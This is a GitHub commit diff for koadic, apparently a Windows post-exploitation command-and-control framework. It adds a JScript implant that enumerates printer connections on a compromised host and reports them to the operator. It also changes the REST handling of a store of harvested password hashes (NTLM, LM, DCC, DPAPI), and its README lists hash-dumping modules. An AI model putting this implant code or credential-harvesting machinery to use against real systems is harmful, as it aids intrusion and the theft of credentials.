Skip to content

Commit b430361

Browse files
author
TheNaterz
committed
Merge branch 'master' of github.com:zerosum0x0/koadic
2 parents 7bf1945 + 8dcfbf5 commit b430361

File tree

5 files changed

+90
-44
lines changed

5 files changed

+90
-44
lines changed

README.md

+1
Original file line numberDiff line numberDiff line change
@@ -47,6 +47,7 @@ implant/fun/zombie | Maxes volume and opens The Cranberries YouTube in a hidden
4747
implant/fun/voice | Plays a message over text-to-speech.
4848
implant/gather/clipboard | Retrieves the current content of the user clipboard.
4949
implant/gather/enum_domain_info | Retrieve information about the Windows domain.
50+
implant/gather/enum_printers | Retrieve information about printer connections.
5051
implant/gather/hashdump_sam | Retrieves hashed passwords from the SAM hive.
5152
implant/gather/hashdump_dc | Domain controller hashes from the NTDS.dit file.
5253
implant/gather/user_hunter | Locate users logged on to domain computers (using Dynamic Wrapper X).

core/commands/api.py

+4-3
Original file line numberDiff line numberDiff line change
@@ -62,13 +62,14 @@ def thread_rest_server():
6262
except SystemExit:
6363
pass
6464

65+
66+
shell.rest_thread = core.rest_server.KThread(target=thread_rest_server)
67+
shell.rest_thread.daemon = True
6568
stdout = sys.stdout
6669
f = open(os.devnull, 'w')
6770
sys.stdout = f
68-
shell.rest_thread = core.rest_server.KThread(target=thread_rest_server)
69-
shell.rest_thread.daemon = True
7071
shell.rest_thread.start()
71-
time.sleep(1)
72+
time.sleep(2)
7273
sys.stdout = stdout
7374
# ok, now THIS is the most embarassing thing i've ever done.
7475
# i don't know how to pass exceptions from the thread to the caller.

core/rest_server.py

+38-39
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
import random, string, time, datetime, json, threading, sys
1+
import random, string, time, datetime, json, threading, sys, os
22

33
class KThread(threading.Thread):
44
"""
@@ -84,7 +84,7 @@ def crappy_domain_id_hack():
8484

8585
@rest_api.errorhandler(Exception)
8686
def exception_handler(error):
87-
return repr(error)
87+
return repr(error)+"\n"
8888

8989
@rest_api.errorhandler(404)
9090
def not_found(error):
@@ -249,11 +249,14 @@ def manip_creds(cred_id):
249249

250250

251251
elif request.method == 'PUT':
252-
req_cred = json.loads(request.data)
252+
try:
253+
req_cred = json.loads(request.data)
254+
except:
255+
return jsonify(success=False, error="Expected valid JSON object as data.")
253256
new_cred = {}
254257
for k in req_cred:
255258
if k.lower() not in self.cred_mapping:
256-
return jsonify(success=False, error="Unknown field: %s." % str(k))
259+
return jsonify(success=False, error="Unknown field: %s" % str(k))
257260
if k.lower() == "extra":
258261
for subk in req_cred[k]:
259262
if subk.lower() not in self.cred_mapping:
@@ -262,11 +265,11 @@ def manip_creds(cred_id):
262265
return jsonify(success=False, error="No Extra field available for \"%s\"." % str(subk))
263266
new_cred[self.cred_mapping[k.lower()]] = req_cred[k]
264267

265-
new_keys = new_cred.keys()
268+
new_keys = list(new_cred.keys())
266269

267270
# new cred
268-
if cred_id > len(self.shell.creds_keys) or cred_id < 0:
269-
if "Username" not in new_keys and "Domain" not in new_keys:
271+
if cred_id >= len(self.shell.creds_keys) or not self.shell.creds_keys:
272+
if "Username" not in new_keys or "Domain" not in new_keys:
270273
return jsonify(success=False, error="Username and Domain are required to add a new credential.")
271274
else:
272275
new_cred_key = (new_cred["Domain"].lower(), new_cred["Username"].lower())
@@ -281,14 +284,35 @@ def manip_creds(cred_id):
281284
if "IP" not in new_keys:
282285
new_cred["IP"] = "Manually added"
283286

287+
cred = {}
288+
cred["IP"] = ""
289+
cred["Domain"] = ""
290+
cred["Username"] = ""
291+
cred["Password"] = ""
292+
cred["NTLM"] = ""
293+
cred["SHA1"] = ""
294+
cred["DCC"] = ""
295+
cred["DPAPI"] = ""
296+
cred["LM"] = ""
297+
cred["Extra"] = {}
298+
cred["Extra"]["IP"] = []
299+
cred["Extra"]["Password"] = []
300+
cred["Extra"]["NTLM"] = []
301+
cred["Extra"]["SHA1"] = []
302+
cred["Extra"]["DCC"] = []
303+
cred["Extra"]["DPAPI"] = []
304+
cred["Extra"]["LM"] = []
305+
306+
for k in new_cred:
307+
cred[k] = new_cred[k]
308+
284309
self.shell.creds_keys.append(new_cred_key)
285-
self.shell.creds[new_cred_key] = new_cred
310+
self.shell.creds[new_cred_key] = cred
286311
return jsonify(success=True, cred_id=self.shell.creds_keys.index(new_cred_key))
287312

288313
# update cred
289314
else:
290315
old_cred_key = self.shell.creds_keys[cred_id]
291-
merge_flag = False
292316
if "Username" in new_keys or "Domain" in new_keys:
293317
if "Username" in new_keys and "Domain" in new_keys:
294318
new_cred_key = (new_cred["Domain"].lower(), new_cred["Username"].lower())
@@ -297,14 +321,6 @@ def manip_creds(cred_id):
297321
new_cred_key = (old_cred_key[0], new_cred["Username"].lower())
298322
elif "Domain" in new_keys:
299323
new_cred_key = (new_cred["Domain"].lower(), old_cred_key[1])
300-
if self.shell.domain_info and [d for d in domain_info if new_cred_key[0] in d]:
301-
domain_key = [d for d in domain_info if new_cred_key[0] in d][0]
302-
other_domain = [d for d in domain_key if d != new_cred[0]][0]
303-
new_cred_key_2 = (other_domain, new_cred_key[1])
304-
if new_cred_key in self.shell.creds_keys or new_cred_key_2 in self.shell.creds_keys:
305-
merge_flag = True
306-
if new_cred_key_2 in self.shell.creds_keys:
307-
new_cred_key = new_cred_key_2
308324
else:
309325
new_cred_key = old_cred_key
310326

@@ -315,35 +331,18 @@ def manip_creds(cred_id):
315331
if k not in ["Username", "Domain", "Extra"]:
316332
if new_val in old_cred["Extra"][k]:
317333
old_cred["Extra"][k].remove(new_val)
318-
old_cred["Extra"][k].append(old_cred[k])
334+
if new_val != old_cred[k]:
335+
old_cred["Extra"][k].append(old_cred[k])
319336
elif k == "Extra":
320337
for subk in new_keys[k]:
321338
old_cred[k][subk] = old_cred[k][subk] + new_val[subk]
322339

323340
if k != "Extra":
324341
old_cred[k] = new_val
325342

326-
if merge_flag:
327-
merge_cred = dict(self.shell.creds[new_cred_key])
328-
for k in merge_cred:
329-
if k in ["Username", "Domain", "Extra"]:
330-
continue
331-
merge_cred["Extra"][k].append(merge_cred[k])
332-
for k in old_cred:
333-
if k in ["Username", "Domain"]:
334-
continue
335-
if k == "Extra":
336-
for subk in old_cred[k]:
337-
merge_cred[k][subk] = merge_cred[k][subk] + old_cred[k][subk]
338-
else:
339-
merge_cred[k] = old_cred[k]
340-
del self.shell.creds[old_cred_key]
341-
self.shell.creds_keys.remove(old_cred_key)
342-
self.shell.creds[new_cred_key] = merge_cred
343-
else:
344-
del self.shell.creds[old_cred_key]
345-
self.shell.creds[new_cred_key] = old_cred
346-
self.shell.creds_keys[cred_id] = new_cred_key
343+
del self.shell.creds[old_cred_key]
344+
self.shell.creds[new_cred_key] = old_cred
345+
self.shell.creds_keys[cred_id] = new_cred_key
347346

348347
return jsonify(success=True)
349348

data/implant/gather/enum_printers.js

+19
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
try
2+
{
3+
var WshNetwork = WScript.CreateObject("WScript.Network");
4+
var oPrinters = WshNetwork.EnumPrinterConnections();
5+
6+
var ret = "";
7+
for (i = 0; i < oPrinters.length; i += 2)
8+
{
9+
ret += oPrinters.Item(i) + " = " + oPrinters.Item(i + 1) + "\n";
10+
}
11+
12+
Koadic.work.report(ret);
13+
}
14+
catch (e)
15+
{
16+
Koadic.work.error(e);
17+
}
18+
19+
Koadic.exit();
+28-2
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,30 @@
11
import core.implant
22

3-
class ExecCmdImplant(core.implant.Implant):
4-
pass
3+
class EnumPrintersJob(core.job.Job):
4+
def done(self):
5+
self.display()
6+
7+
def display(self):
8+
self.shell.print_plain("Printer Connections:")
9+
self.shell.print_plain(self.data)
10+
self.results = self.data
11+
12+
class EnumPrintersImplant(core.implant.Implant):
13+
14+
NAME = "Enumerate Printer Connections"
15+
DESCRIPTION = "Enumerates all Printer Connections"
16+
AUTHORS = ["Tony M Lambert @ForensicITGuy"]
17+
18+
def load(self):
19+
pass
20+
21+
def job(self):
22+
return EnumPrintersJob
23+
24+
25+
def run(self):
26+
payloads = {}
27+
payloads["js"] = self.loader.load_script("data/implant/gather/enum_printers.js", self.options)
28+
self.dispatch(payloads, self.job)
29+
30+

0 commit comments

Comments
 (0)